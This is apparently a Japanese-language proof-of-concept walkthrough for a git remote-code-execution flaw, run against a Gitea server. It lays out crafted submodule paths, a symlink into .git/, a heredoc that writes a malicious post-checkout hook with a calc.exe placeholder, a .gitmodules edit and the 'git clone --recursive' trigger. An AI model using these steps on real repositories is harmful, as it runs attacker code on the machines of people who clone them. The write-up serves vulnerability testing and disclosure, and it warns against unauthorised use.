私たちはこのブログ記事に従っていますが、いくつかの重要な違いがあります https://amalmurali.me/posts/git-rce
git_rce) には、特別に細工されたパスを持つサブモジュールが含まれています。.git/ ディレクトリを指すシンボリックリンクが含まれており、そこには悪意のあるフックが含まれています。⚠️ 警告: この PoC をあなたが所有していない、または使用する明示的な許可がないシステムで実行しないでください。無許可のテストは意図しない結果を招く可能性があります。
gitea の API トークンを作成する必要があります。これは http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications にあります。
すべてが正常に動作することを確認するために、トークンにすべてのアクセス権限を付与しました。
次に、poc.sh を実行します。その際、gitea サーバーの IP アドレスとポート、リポジトリ作成用のユーザー名とトークンなど、プロンプトに表示される情報を必ず入力します。
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
また、42~46行目を編集してペイロードを含める必要があります。
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
もう一つステップがあります。main から hook リポジトリの .gitmodules に移動する必要があります。私は手動で gitea のリポジトリに移動し、ファイルを変更しました。

そして、次の内容に変更しました。
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
A/modules に移動したときに、次のようなものが表示されることを確認しました。

そして、そのコミットをクリックすると、POC の内容を含む他のリポジトリが表示されるはずです。
その後、URL を使用して次のコマンドを実行すると、エクスプロイトがトリガーされるはずです。
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
この脆弱性を発見し、ブログ記事とリポジトリを提供してくれた filip-hejsek と amalmurali47 に感謝します。